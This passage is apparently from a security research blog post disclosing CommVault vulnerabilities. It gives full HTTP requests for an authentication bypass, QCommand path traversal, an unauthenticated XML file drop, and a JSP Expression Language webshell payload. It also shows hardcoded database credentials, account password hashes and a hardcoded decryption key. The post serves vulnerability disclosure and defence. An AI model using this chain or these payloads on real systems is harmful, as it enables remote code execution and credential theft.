/commandcenter/api/Login HTTP/1.1\nHost: commvaultlab\nAccept: application/json\nContent-Type: application/json;charset=UTF-8\nContent-Length: 117\n\n{\n  \"username\": \"WIN-AC7GJT5_localadmin__\",\n  \"password\": \"YSAtbG9jYWxhZG1pbg==\", // \"a -localadmin\"\n  \"commserver\":\"WIN-AC7GJT5 -cs WIN-AC7GJT5\"\n}\n\n```\n\n\nThis request returns a valid API token for the highly privileged `localadmin` user.\n\n```\nHTTP/1.1 200 \n...\nContent-Type: application/json;charset=utf-8\nContent-Length: 735\n\n{\n\t\"aliasName\":\"5\",\n\t\"userGUID\":\"995f53de-25db-44e2-a1bf-8d7a24cc6a5b\",\n\t\"loginAttempts\":0,\n\t\"remainingLockTime\":0,\n\t\"userName\":\"WIN-AC7GJT5_localadmin__\",\n\t\"ccn\":0,\n\t\"token\":\"QSDK 3c82528b...\",\n\t\"errList\":[]\n}\n\n```\n\n\nAuthentication has been completely bypassed, and we can now move on.\n\nWT-2025-0049: Post-Auth RCE with QCommand Path Traversal\n--------------------------------------------------------\n\nSo, what do we have so far?\n\nWell, we\u2019ve established a few things:\n\n*   We\u2019ve bypassed authentication\n*   We have access to a high privilege account (`localadmin`)\n*   We understand the complexity that is QCommands and parts of the related API.\n\nWe are in a good position to continue building out a chain, so we continue with our focus now being a post-authenticated Remote Code Execution (RCE) vulnerability to achieve our original objectives.\n\nIt turned out to be a little more complex than expected. That is life.\n\nIn this process, we went down a number of rabbit holes and collected many failed attempts. Being a team that does not necessarily learn anything from recurring lessons, we were relentless.\n\nWe have already discussed QCommands and established that there are several ways to execute them, including:\n\n*   Through local access to the CommVault server\n*   Via certain API endpoints that eventually call specific QCommands, where we may control some of their arguments\n\nWhen investigating the API a little deeper, it turns out that there is an endpoint that allows us to directly execute QCommands: `CV.WebServer.Controllers.QAPIController`.\n\nBelow is the definition of three API endpoints that can be used to execute QCommands:\n\n```\n\t\t[HttpPost(\"QCommand/{*command}\")]\n\t\tpublic IActionResult QCommand(string command, [FromBody] [AllowNull] string req = \"\")\n\t\t{\n\t\t\tstring reqXmlString = base.GetReqXmlString(req);\n\t\t\treturn this.Ok(new CVWebHandlerQAPI().Qcommand(reqXmlString, command));\n\t\t}\n\n\t\t[HttpPost(\"QCommand\")]\n\t\tpublic IActionResult ExecuteQCommand([FromBody] string command)\n\t\t{\n\t\t\treturn this.Ok(new CVWebHandlerQAPI().Qcommand(null, command));\n\t\t}\n\n\t\t[HttpPost(\"ExecuteQCommand\")]\n\t\tpublic IActionResult ExecuteQCommand2([FromBody] NameValueCollection data)\n\t\t{\n\t\t\tstring text = string.Empty;\n\t\t\tstring reqJson = string.Empty;\n\t\t\tstring reqXml = string.Empty;\n\t\t\tif (data != null && data.Get(\"command\") != null)\n\t\t\t{\n\t\t\t\ttext = data.Get(\"command\");\n\t\t\t}\n\t\t\tif (data != null && data.Get(\"inputRequestXML\") != null)\n\t\t\t{\n\t\t\t\treqJson = data.Get(\"inputRequestXML\");\n\t\t\t\treqXml = base.GetReqXmlString(reqJson);\n\t\t\t}\n\t\t\tif (string.IsNullOrEmpty(text))\n\t\t\t{\n\t\t\t\tthrow new HandlerException(HandlerError.OperationNotSupported, -1, \"Invalid input. Input request command  is required.\", null, \"ExecuteQCommand2\", 63);\n\t\t\t}\n\t\t\treturn this.Ok(new CVWebHandlerQAPI().Qcommand(reqXml, text));\n\t\t}\n\n```\n\n\nLooking at these endpoints, we can see that they include the ability to run potentially powerful QCommands - the same ones we have already observed being capable of performing impactful operations.\n\nWith this in mind, we now potentially have the ability to directly execute QCommands through the API. This is a very promising avenue for escalating our access and achieving more impactful post-authentication actions.\n\nTo verify this first though, we started with a harmless test - we attempted to execute the `qlist job` QCommand, which simply lists available jobs.\n\nWe used the `/QCommand` API endpoint, which accepts the entire QCommand as part of the request body. For example:\n\n```\nPOST /commandcenter/RestServlet/QCommand HTTP/1.1\nHost: commvaultlab\nAuthtoken: QSDK 356fbd60f0...\nContent-type: text/plain\nContent-Length: 9\n\nqlist job\n\n```\n\n\nAnd the response is:\n\n```\nHTTP/1.1 200 \n...\n\nNo jobs to display.\n\n\n```\n\n\nNice, the `QCommand` API works!\n\nWe can now start exploring different QCommands or look for interesting arguments in the ones we already know.\n\nLet\u2019s take the `qlist job` command we just tested and see what options it supports by adding the `-h` flag:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-22.png)\n\nDo you see it? One argument immediately stood out: the `-file` argument.\n\nIts description was interesting because it allows us to control where the `qlist` command writes its output. That kind of functionality often ends in our favor.\n\nThe code responsible for output writing is implemented in C++, but instead of starting with reverse engineering, we decided to test it directly.\n\nThe plan was simple:\n\nWe would try to drop a JSP file into the application\u2019s webroot. If successful, it would confirm that the output writer is vulnerable to absolute path traversal.\n\nSo, in true Leroy Jenkins style, we executed:\n\n```\n\nqlist job -file F:\\Program Files\\Commvault\\ContentStore\\Apache\\webapps\\ROOT\\wat.jsp\n\n\n```\n\n\nChecking the webroot directory afterwards, we were pleasantly surprised.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-23.png)\n\nBoom! The `-file` switch lets us point to any location on the filesystem and choose any file extension. In theory, that means we can write a webshell.\n\nBut can we actually do it?\n\nNot quite yet. Writing `No jobs to display.` into a `.jsp` file is not exactly a game-changer. So we defined a more useful attack scenario:\n\n*   Find a QCommand where we can control its output.\n*   That command must also support the `file` argument (not all do).\n*   Inject a webshell payload into the output.\n*   Use the absolute path traversal from `file` to drop the webshell into the webroot.\n\nSimple plan, right? Unfortunately, as `localadmin` we could not find an obvious one-step way to do this. What should have been straightforward ended up being possible, but in a far more convoluted way than expected.\n\n### qoperation execute\n\nWhile reviewing the long list of available QCommands, we came across [`qoperation execute`](https://documentation.commvault.com/11.20/qoperation_execute.html?ref=labs.watchtowr.com). This one caught our attention:\n\n> The qoperation execute command is used to execute any operation.\n> \n> This applies to all jobs - for example, admin, backup, restore, and reports.\n> \n> The QCommands to be executed are written in an `.xml` file, which is provided as input to this command. Parameters from the generated XML can also be specified along with the QCommand during execution.\n\nThree details stood out immediately:\n\n*   It executes an \u201coperation\u201d defined in a local XML file. The `af` argument lets us specify the path to this file.\n*   It supports the `file` switch, so we can control the output location.\n*   It requires high privileges, but our `localadmin` user is powerful enough to run it.\n\nThere are many operations implemented. For testing, we picked the `App_GetUserPropertiesRequest` operation, which simply retrieves properties for a specified user.\n\nHere is the XML definition for that operation:\n\n```\n<App_GetUserPropertiesRequest level=\"30\">\n\t<user userName=\"WIN-AC7GJT5_localadmin__\" />\n</App_GetUserPropertiesRequest>\n\n```\n\n\nSo, back to our keyboards, we decided to play with this behavior once again via the CLI tooling.\n\nWe saved the XML into a file called `script.xml`. Then, using our `localadmin` session, we executed the request to fetch details about the `localadmin` user itself:\n\n```\n>qoperation execute -af C:\\Users\\Public\\script.xml\n\n<App_GetUserPropertiesResponse>\n\n  <users UPN=\"\" agePasswordDays=\"0\" associatedExternalUserGroupsOperationType=\"ADD\" associatedUserGroupsOperationType=\"ADD\" authenticationMethod=\"LOCAL\" companyName=\"Commcell\" description=\"This is localadmin\" edgeDriveQuotaLimitInGB=\"100\" email=\"\" enableUser=\"true\" enforceEdgeDriveQuota=\"false\" enforceFSQuota=\"false\" fullName=\"WIN-AC7GJT5_localadmin__\" idleTime=\"0\" inheritGroupEdgeDriveQuotaSettings=\"true\" inheritGroupQuotaSettings=\"true\" isAccountLocked=\"false\" istfaEnabled=\"false\" lastLogIntime=\"1745939401\" loggedInMode=\"2\" quotaLimitInGB=\"100\" removeOtherActiveSessions=\"true\">\n    <userEntity userGUID=\"F52B43CB-26F8-4695-B0E8-94EC2F9DE0C9\" userId=\"5\" userName=\"WIN-AC7GJT5_localadmin__\"/>\n    <LinkedCommvaultUser/>\n    <apiQuota APILimit=\"0\" APItimeFrame=\"0\"/>\n    <currentAuthenticator IdentityServerId=\"0\" IdentityServerName=\"Commcell\">\n      <ownerCompany domainName=\"Commcell\" id=\"0\"/>\n    </currentAuthenticator>\n  </users>\n\n</App_GetUserPropertiesResponse>\n\n```\n\n\nWe can see the command prints details as XML and includes the properties of our `localadmin` user. That sparked an idea. If we can change one of those properties to contain a JSP payload, we can turn the XML output into a webshell.\n\nOur plan:\n\n*   Drop an XML file to disk that defines an operation which retrieves user details.\n*   Modify a writable property of `localadmin` and inject a JSP payload into that field.\n*   Run `qoperation execute` again and use the `file` switch to write the response into the webroot with a `.jsp` extension.\n\nLet\u2019s walk through each step.\n\n### Dropping XML to the filesystem\n\nEven though our RCE scenario depends on having a local XML file we fully control, that requirement did not worry us.\n\nIn our earlier Commvault research, we recalled a Java-based endpoint that allows unauthenticated file drops into a hardcoded directory. Because we control the XML contents completely, this primitive fits perfectly into our attack chain.\n\nWe can leverage this with a simple HTTP request:\n\n```\nPOST /commandcenter/metrics/metricsUpload.do HTTP/1.1\nHost: commvaultlab\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\nConnection: keep-alive\nContent-Length: 709\n\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"username\"\n\ncustomer\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"password\"\n\nd2F0\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"ccid\"\n\nABC1234\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"uploadToken\"\n\nTOKEN1\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file\"; filename=\"rekt.xml\"\nContent-Type: application/xml\n\n<App_GetUserPropertiesRequest level=\"30\">\\r\\n\\t<user userName=\"WIN-AC7GJT5_localadmin__\" /></App_GetUserPropertiesRequest>\n------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n```\n\n\nThis request saves the file to: `F:\\Program Files\\Commvault\\ContentStore\\Reports\\MetricsUpload\\Upload\\ABC1234\\rekt.xml` as shown below:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-24.png)\n\nAt this point, we can run the following QCommand to execute our operation and write the output directly into the webroot:\n\n`qoperation execute -af F:\\Program Files\\Commvault\\ContentStore\\Reports\\MetricsUpload\\Upload\\ABC1234\\rekt.xml -file F:\\Program Files\\Commvault\\ContentStore\\Apache\\webapps\\ROOT\\wT-poc.jsp`\n\nThis will execute the `App_GetUserPropertiesRequest` operation defined in our uploaded XML file and save the output as `wT-poc.jsp` in the webroot.\n\nHowever, the output will still just contain the normal user properties - no payload yet.\n\nTo turn this into RCE, we need a way to inject our JSP webshell into one of those returned fields so that when the file is written to the webroot, our code will be executed when accessed.\n\nLet\u2019s continue.\n\n### Injecting Webshell Payload and Achieving RCE\n\nWe can already retrieve details of our `localadmin` user through the `App_GetUserPropertiesRequest` operation. The logical next step is the opposite - modifying those properties.\n\nIf we can update a user property to contain JSP code, and then use `qoperation execute` with the `-file` argument to write those details into the webroot, we can create a working webshell.\n\nThe relevant API endpoint for modifying user properties is:\n\n```\n[HttpPost(\"User/{*userId}\")]\npublic IActionResult UpdateUserProperties([FromBody] UpdateUserPropertiesRequest request, string userId)\n{\n\tstring empty = string.Empty;\n\tAppMsg.UserInfo userInfo = request.users[0];\n\tif (userInfo.userEntity == null)\n\t{\n\t\tuserInfo.userEntity = new UserEntity();\n\t}\n\tint userId2;\n\tif (int.TryParse(userId, out userId2))\n\t{\n\t\tuserInfo.userEntity.userId = userId2;\n\t}\n\telse\n\t{\n\t\tuserInfo.userEntity.userName = base.GetConvertedUserEntity(userId).userName;\n\t}\n\treturn this.Ok(this.UpdateUserProperties(request, this.LoggedInUserId, this.CurrentLocaleId));\n}\n\n```\n\n\nThe `description` property is an ideal target - it\u2019s typically not restricted in length or character set.\n\nWe can inject JSP into the `description` field with the following request:\n\n```\nPOST /commandcenter/RestServlet/User/5 HTTP/1.1\nHost: commvaultlab\nAccept: application/xml\nAuthtoken: QSDK 3d4ab7f7def2...\nContent-Length: 270\n\n<App_UpdateUserPropertiesRequest><users>\n<AppMsg.UserInfo>\n<userEntity>\n<userId>5</userId>\n</userEntity>\n<description>&lt;% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %&gt;</description>\n</AppMsg.UserInfo>\n</users></App_UpdateUserPropertiesRequest>\n\n```\n\n\nWhen we later fetched the user details with QCommand, the payload was present - but the `<` and `\"` characters were automatically HTML-encoded. This breaks JSP execution, since `<% ... %>` becomes `&lt;% ... %>`. Using `CDATA` doesn\u2019t help, as the `<` is still encoded.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-25.png)\n\nAfter a short pause (and a bit of frustration), we realized there was a simple workaround: inject JSP EL (Expression Language) instead. EL does not require `<% ... %>` syntax, so we avoid the HTML encoding issue entirely.\n\nHere\u2019s the updated payload:\n\n```\nPOST /commandcenter/RestServlet/User/5 HTTP/1.1\nHost: commvaultlab\nAccept: application/xml\nAuthtoken: QSDK 3db346462...\nContent-type: application/xml\nContent-Length: 333\n\n<App_UpdateUserPropertiesRequest><users>\n<AppMsg.UserInfo>\n<userEntity>\n<userId>5</userId>\n</userEntity>\n<description>${pageContext.servletContext.getClassLoader().loadClass('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec(param.cmd)}\n</description>\n</AppMsg.UserInfo>\n</users></App_UpdateUserPropertiesRequest>\n\n```\n\n\nThis payload has no characters that would be encoded during the `qoperation execute` file writing, thus we should be good to go!\n\nLet\u2019s try to drop a webshell now:\n\n```\nPOST /commandcenter/RestServlet/QCommand HTTP/1.1\nHost: commvautlab\nAuthtoken: QSDK 3db346462c1de...\nContent-type: text/plain\nContent-Length: 185\n\nqoperation execute -af F:\\Program Files\\Commvault\\ContentStore\\Reports\\MetricsUpload\\Upload\\ABC1234\\rekt.xml -file F:\\Program Files\\Commvault\\ContentStore\\Apache\\webapps\\ROOT\\wT-poc.jsp\n\n```\n\n\nThe server should respond with:\n\n```\nHTTP/1.1 200 \n...\n\nOperation Successful.Results written to [F:\\Program Files\\Commvault\\ContentStore\\Apache\\webapps\\ROOT\\wT-poc.jsp].\n\n```\n\n\nLet\u2019s finish with a quick verification - checking the filesystem to confirm our webshell is in place.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-26.png)\n\nThat confirms it! We\u2019ve successfully injected our EL expression into the JSP file. Now, it\u2019s time for the final step - accessing our webshell.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-27.png)\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-28.png)\n\nCompleting The Chain - Joining WT-2025-0050 and WT-2025-0049\n------------------------------------------------------------\n\nOur first full pre-auth RCE chain, as detailed above, comes together like this:\n\n*   **WT-2025-0050** \u2013 Authentication bypass to generate a valid API token for the `localadmin` user.\n*   **WT-2025-0049** \u2013 Absolute path traversal in QCommand handling, allowing a JSP webshell to be written directly into the webroot for remote code execution.\n\nThis combination is exploitable against any unpatched CommVault instance. We are not aware of pre-conditions or environmental limitations that would block it.\n\nIt\u2019s as bad as it sounds - so we will not be publishing a Detection Artifact Generator for this one. Instead, here\u2019s a screenshot:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-29.png)\n\nThis marks the first complete pre-auth RCE chain in our research series. In this case, `localadmin` access came via WT-2025-0050.\n\nBut this is not our only chain. Next, we will cover the second approach - one that replaces WT-2025-0050 with **WT-2025-0047** for the authentication bypass.\n\nWT-2025-0047- Hardcoded Credentials\n-----------------------------------\n\nBefore we ever uncovered the `localadmin` authentication bypass, our research journey began with something else entirely \u2014 a discovery that, on its own, was already bad news for CommVault security.\n\nWhile mapping the CommVault attack surface and exploring its IIS-backed API endpoints, we kept running into a frustrating reality: many of the most interesting Java endpoints were locked behind authentication checks.\n\nThat meant a huge portion of the potential attack surface was effectively out of reach without credentials.\n\nWhen faced with that kind of roadblock, there are two obvious ways forward:\n\n*   **Bypass authentication** outright\n*   **Find built-in or hardcoded accounts** you can log in with\n\nThe first approach is flashy, but the second can be equally dangerous - and has a long history of shipping in production software.\n\nIn reality, despite the order of this blogpost - we decided to explore that second path first. Unfortunately, it didn\u2019t take long before a few quick checks pointed us toward something interesting in the database.\n\nA couple of simple Windows commands confirmed what we suspected: CommVault was using an MSSQL backend, and it was time to start digging for accounts baked right into the system.\n\n```\nC:\\Users\\Administrator>netstat -ano | findstr :1433\n  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       3140\n  TCP    [::]:1433              [::]:0                 LISTENING       3140\n\nC:\\Users\\Administrator>netstat -ano | findstr :1433\n\nC:\\Users\\Administrator>tasklist /FI \"PID eq 3140\"\n\nImage Name                     PID Session Name        Session#    Mem Usage\n========================= ======== ================ =========== ============\nsqlservr.exe                  3140 Services                   0    301,700 K\n\n```\n\n\nThe fastest way to start digging into this MSSQL backend was to spin up SQL Server Management Studio (SSMS) and attempt a local connection using the administrative account.\n\nNo luck \u2014 we were immediately met with an authentication error.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-30.png)\n\nA quick `grep` through the source revealed no hardcoded database credentials. That left one likely place to look \u2014 in memory.\n\nDatabase connections are often instantiated when the application boots. By configuring the debug server to suspend until our debugger connects (`suspend=y`), we could attach early and set a breakpoint on the default Java driver manager class, `java.sql/java/sql/DriverManager.java`.\n\nFrom there, we were able to watch the connection being created \u2014 and with it, the credentials for a database user:\n\n```\nsqlexec_cv\n2ff0c60b-3df8-45e9-a82e-76bbdd3acc9c\n\n```\n\n\n### Discovering Built-in Users\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-31.png)\n\nArmed with our freshly obtained database credentials, we could now connect to the SQL Server without issue. From there, it was trivial to query the `users` table \u2014 giving us a full list of accounts in the environment.\n\n```\nSELECT *\n  FROM [CommServ].[dbo].[UMUsers]\n\n\n```\n\n\nThe following table contains the usernames and password hashes retrieved from the database:\n\n\n|login                     |password                                                         |\n|--------------------------|-----------------------------------------------------------------|\n|_+EventOrganizerPublicUser|73860906f032786acc0144b616b33dbb3c6a0a8ac2e572ed20a5f9e8532db992d|\n|OutlookAddinContentStore  |725758387f6df69bddf9aa88fc62e23c6ebbac5c254124ba43e160f0768c96dac|\n|_+DummyWebReportsTagUser  |Password Disabled                                                |\n|_+PublicSharingUser       |75c9943f818d778135f6869d533cfe84057ebf252a888c93c59e57f8642ae1fbb|\n|_+SRM_Advisory#User{1Name |Password Disabled                                                |\n|Admin                     |7062db44cb34249f0ab3a224d126e565feda5827af26bae9fbedb44bb88b2f098|\n|SystemCreatedAdmin        |9EC4B0A62-5948-49EE-9212-A31A3CD1230D                            |\n|master                    |94FC2C1E8-A39F-4B23-AEBA-67E4E039B3D8                            |\n|OvaUser(Deleted,4)        |Password Disabled                                                |\n|WIN-AC7GJT5_localadmin__  |713a853338acb2d8981329ff275189d45df2397fa5970db6c8e60b760b3136064|\n\n\nYou might quickly notice there are quite a few built-in accounts here (we\u2019ve already covered `localadmin`) \u2014 which is surprising, given we only created an `admin` account ourselves. Some of these entries have no passwords or GUIDs, so we can safely ignore them. Our focus is on accounts with hashed passwords, and more importantly, whether we can determine those passwords pre-authentication. Remember our goal here.\n\nWhile `grep`\\-ing through the code for references to `_+_PublicSharingUser_`, we came across an interesting SQL script:\n\n```\nIF EXISTS (SELECT * FROM UMUsers WHERE (login = '_+_PublicSharingUser_' OR login = '_+_EventOrganizerPublicUser_') AND password = '2exxxxx') <--- [0]\nBEGIN\nDECLARE @clientGUID varchar(40) = (SELECT guid FROM app_client WHERE id = 2) <--- [1]\nDECLARE @encGUID nvarchar(max)\nEXEC pswEncryptionManaged  @clientguid, @encguid OUTPUT <--- [2]\n\nUPDATE UMUsers\nSET password = @encGUID <--- [3]\nWHERE login = '_+_PublicSharingUser_' OR login = '_+_EventOrganizerPublicUser_'\n\nEND\n\n```\n\n\nBreaking the script down as simply as possible:\n\n*   **\\[0\\]** - Select all users with a hardcoded password of `2exxxxx`.\n*   **\\[1\\]** - Pull a GUID from another table and store it as a variable.\n*   **\\[2\\]** - Pass that GUID (and an empty GUID) into the stored procedure `pswEncryptionManaged`.\n*   **\\[3\\]** - Update the password for those users using the GUID returned from `[2]`.\n\nPut simply, this GUID becomes the users passwords. Regardless, and naturally, our first step was to try logging in with `2exxxxx` directly for these users via the front end - but as expected we had no luck.\n\nSo, we moved to step `[1]` and ran the SQL query to pull the GUID:\n\n```\nSELECT guid FROM app_client WHERE id = 2\n\nB1875E44-43D9-4412-A10E-44606DFD3BC2\n\n```\n\n\nOn a whim, and with a hunch, we checked our HTTP proxy history and quickly spotted something interesting - the GUID from step `[1]` was already being handed to us in a pre-authenticated request.\n\n```\nGET /commandcenter/publicLink.do HTTP/1.1\nHost: {{Hostname}}\n\n```\n\n\n```\n[...Truncated Response...]\n\"commcellInfo\":{\"metaInfo\":[{\"name\":\"allHeaders\",\"value\":\"{\\\"Transfer-Encoding\\\":\\\"chunked\\\",\\\"WEBSERVERCORE-FLAG\\\":\\\"true\\\",\\\"Cache-Control\\\":\\\"no-store, no-cache\\\",\\\"Server\\\":\\\"Microsoft-IIS/10.0\\\",\\\"cv-gorkha\\\":\\\"B1875E44-43D9-4412-A10E-44606DFD3BC2\\\",\\\"Date\\\":\\\"Thu, 24 Apr 2025 04:03:51 GMT\\\",\\\"Content-Type\\\":\\\"application/xml; charset\\u003dutf-8\\\"}\"}\n\n```\n\n\nGreat!\n\n### Authenticating\n\nWhen we attempted to log in through the frontend using the GUID as the password for `_+*PublicSharingUser_*`, the application\u2019s response was noticeably different compared to what we\u2019d see for either the `admin` account or an outright incorrect password.\n\nThis indicated that we were on the right track:\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-32.png)\n\nHowever, it still returned an invalid `JSESSIONID`, which meant we could not access any authenticated `.do` endpoints from our earlier research.\n\nFortunately, from our previous authentication bypass work, we already knew how the `/Login` API backend endpoint operated and functioned, giving us a more direct way to request an authentication token without needing to deal with the web UI session handling.\n\nUsing this approach, we were able to authenticate as `_+_PublicSharingUser_` and obtain a valid `Authtoken` by simply Base64-encoding the GUID as the password:\n\n```\nPOST /commandcenter/api/Login HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json\nContent-Type: application/json;charset=UTF-8\nContent-Length: 110\n\n{\n  \"username\": \"_+_PublicSharingUser_\",\n  \"password\": \"QjE4NzVFNDQtNDNEOS00NDEyLUExMEUtNDQ2MDZERkQzQkMy\" <--- [Base64 GUID]\n}\n\n```\n\n\nResponse:\n\n```\n{\n  \"aliasName\": \"-20\",\n  \"userGUID\": \"93F44B6B-D974-47D6-BC8E-CBA207D38F51\",\n  \"loginAttempts\": 0,\n  \"remainingLockTime\": 0,\n  \"smtpAddress\": \"No Email\",\n  \"userName\": \"_+_PublicSharingUser_\",\n  \"ccn\": 0,\n  \"token\": \"QSDK 3ce49fdbe75...f229f78323914edce\",\n  \"capability\": 9663676416,\n  \"forcePasswordChange\": false,\n  \"isAccountLocked\": false,\n  \"additionalResp\": {\n    \"nameValues\": [\n      {\n        \"name\": \"USERNAME\",\n        \"value\": \"_+_PublicSharingUser_\"\n      },\n      {\n        \"name\": \"autoLoginType\"\n      },\n      {\n        \"name\": \"fullName\",\n        \"value\": \"Public Sharing User\"\n      }\n    ]\n  },\n  \"errList\": [],\n  \"company\": {\n    \"providerId\": 0,\n    \"providerDomainName\": \"\"\n  }\n}\n\n```\n\n\nBoom! With a valid token in hand, our first instinct was to explore what actions we could take within the API.\n\nUnfortunately, most attempts were met with permission errors such as:\n\n```\n\n  \"response\": [\n    {\n      \"errorString\": \"User [Public Sharing User] doesn't have [View] permission on [WIN-AC7GJT5] [CommCell].\",\n      \"warningCode\": 0,\n      \"errorCode\": 5,\n      \"warningMessage\": \"\"\n    }\n  ]\n}\n\n```\n\n\nEven so, we had our next foothold: an authenticated low-privilege account that could potentially be leveraged to reach more powerful functionality.\n\nWT-2025-0048: Privilege Escalation through Hardcoded Encryption Key\n-------------------------------------------------------------------\n\nAs an incredibly fresh reminder, our second authentication bypass (affectionately referred to as WT-2025-0047), gives us valid credentials for the low-privileged `_+_PublicSharingUser_` account by leaking its password pre-authentication.\n\nThe natural next step is to see if we can use this account to trigger WT-2025-0049, the Post-Auth RCE that we detailed earlier. When attempting this, however, the response is:\n\n```\nHTTP/1.1 500 \n...\n\n<CVGui_GenericResp errorMessage=\"Session info not for for the query&#xA;\" errorCode=\"2\" />\n\n```\n\n\n`_+_PublicSharingUser_` doesn\u2019t have enough privileges to run `qoperation execute` or `qoperation execscript` \u2014 both of which could easily be used to drop a webshell. Clearly, this is discrimination against `_+_PublicSharingUser_`.\n\nBecause we believe in equal opportunity exploitation, we set out to fix this injustice. The answer? Privilege escalation.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-33.png)\n\nAt some point, we discovered an endpoint that retrieves user details directly from the database - with no authorization checks. Any authenticated user can call it.\n\n```\n[HttpGet(\"Database/GetUmUserById/{userId}\")]\npublic IActionResult GetUmUserById(int userId)\n{\n\tIActionResult result;\n\ttry\n\t{\n\t\tUmusers umUserById = this.cvUsersDbContext.GetUmUserById(userId); // [1]\n\t\tresult = this.Ok(umUserById);\n\t}\n\tcatch (Exception ex)\n\t{\n\t\tthis.logger.LogException(ex, \"GetUmUserById\", 31);\n\t\tresult = this.StatusCode(500, ex);\n\t}\n\treturn result;\n}\n\n```\n\n\nThe `GetUmUserById` method runs the following SQL query, taking the `userId` directly from user input:\n\n```\nSELECT name, login, email, userGuid, enabled, flags, password, UPN FROM [dbo].[UMUsers] WITH(NOLOCK) WHERE id = @id\n\n```\n\n\nWhen you look closely at the returned columns, you will notice the one called `password`. Spicy.\n\nLet\u2019s try to fetch the details of the `admin` user (`id=1`):\n\n```\nGET /commandcenter/RestServlet/Database/GetUmUserById/1 HTTP/1.1\nHost: commvaultlab\nAccept: application/xml\nAuthtoken: QSDK tokenhere\n\n```\n\n\nHTTP response (excerpt):\n\n```\nHTTP/1.1 200 \nStrict-Transport-Security: max-age=31536000;includeSubDomains\n...\n\n{\"id\":1,\"name\":\"Administrator\",\"login\":\"Admin\",\"password\":\"38293d8ce514de537f256ed93c2f6621493bf1768f0a9af55\",\"email\":\"admin@admin.com\",\"datePasswordSet\":0,\"dateExpires\":0,\"policy\":0,\"enabled\":1,\"flags\":67,\"modified\":0,\"pVer\":0,\"lastLogInTime\":0,\"credSetTime\":0,\"umDsproviderId\":0,\"userGuid\":\"1911DEE2-25D3-4FF4-8067-152FAFB61273\",\"origCcid\":0,\"companyId\":0,\"upn\":\"\",\"created\":0,\"appSyncCloudFolder\":[],\"appPlan\":[],\"umqsdksessions\":[],\"mdmInstalledApp\":[],\"tmPattern\":[],\"umUsersProp\":[],\"umWebAuthenticators\":[],\"ntNotificationRule\":[],\"umAccessToken\":[]}\n\n```\n\n\nWe\u2019ve used the low-privileged account to retrieve admin\u2019s password hash, nice!\n\nAt first glance, it looks like a SHA256 hash \u2014 but a closer look reveals something unusual.\n\n![](https://labs.watchtowr.com/content/images/2025/08/image-34.png)\n\n49 characters? That\u2019s strange - a hash length like that immediately stood out. Clearly something wasn\u2019t right, so we dug deeper to find the code responsible for handling credentials.\n\nThe operation appears in several parts of the codebase, but one location caught our eye: a SQL stored procedure that performs \u201ccredentials decryption\u201d via the `StoredProcedures.pswDecryption` method in the `cv_dbclr_safe` DLL:\n\n```\n[SqlProcedure]\npublic static void pswDecryption(string encryptedText, out string decryptedText)\n{\n\tdecryptedText = string.Empty;\n\tEncryptionHelper encryptionHelper = new EncryptionHelper();\n\ttry\n\t{\n\t\tencryptionHelper.Decrypt(encryptedText, ref decryptedText);\n\t}\n\tcatch (Exception ex)\n\t{\n\t\tSqlContext.Pipe.Send(ex.ToString());\n\t}\n}\n\n```\n\n\nThe `encryptionHelper.Decrypt` leads to the `DecryptPassword` method:\n\n```\npublic int DecryptPassword(string encrypted, ref StringBuilder sb, int length)\n{\n\tstring encrypted2 = encrypted.Remove(0, 1);\n\tif (encrypted.StartsWith(\"2\"))\n\t{\n\t\tif (encrypted.Length > 1)\n\t\t{\n\t\t\tCVCoderHeader cvcoderHeader = new CVCoderHeader();\n\t\t\tstring text = \"\";\n\t\t\tcvcoderHeader.csldecfld(encrypted.Substring(1), ref text);\n\t\t\tfor (int i = 0; i < text.Length - 1; i += 4)\n\t\t\t{\n\t\t\t\tstring value = text[i] + text[i + 1];\n\t\t\t\tsb.Append((char)Convert.ToInt64(value, 16));\n\t\t\t}\n\t\t}\n\t}\n\telse if (encrypted.StartsWith(\"3\")) // [1]\n\t{\n\t\tCvcSHA256Custom cvcSHA256Custom = new CvcSHA256Custom();\n\t\tbyte[] keysha = cvcSHA256Custom.Sha256byte(\"{483afb5d-70df-4e16-abdc-a1de4d015a3e}\"); // [2]\n\t\tint blockSizeForCiper = 16;\n\t\tCvcKeyWrap cvcKeyWrap = new CvcKeyWrap();\n\t\tsb = cvcKeyWrap.Cvc_Unwrap(blockSizeForCiper, encrypted2, keysha); // [3]\n\t}\n\telse if (encrypted.StartsWith(\"5\"))\n\t{\n\t\tCvcSHA256Custom cvcSHA256Custom2 = new CvcSHA256Custom();\n\t\tbyte[] keysha2 = cvcSHA256Custom2.Sha256byte(Encryption.GetV5Key());\n\t\tint blockSizeForCiper2 = 16;\n\t\tCvcKeyWrap cvcKeyWrap2 = new CvcKeyWrap();\n\t\tsb = cvcKeyWrap2.Cvc_Unwrap(blockSizeForCiper2, encrypted2, keysha2);\n\t}\n\treturn 5;\n}\n\n```\n\n\nThis code gives us everything we need. The first character of the stored password determines which encryption algorithm was used.\n\n*   At \\[1\\], our case is matched because the password begins with `3`.\n*   At \\[2\\], we see a hard-coded encryption key \u2014 simply the SHA256 hash of `{483afb5d-70df-4e16-abdc-a1de4d015a3e}`.\n*   At \\[3\\], the password is decrypted using AES.\n\nWith this, a 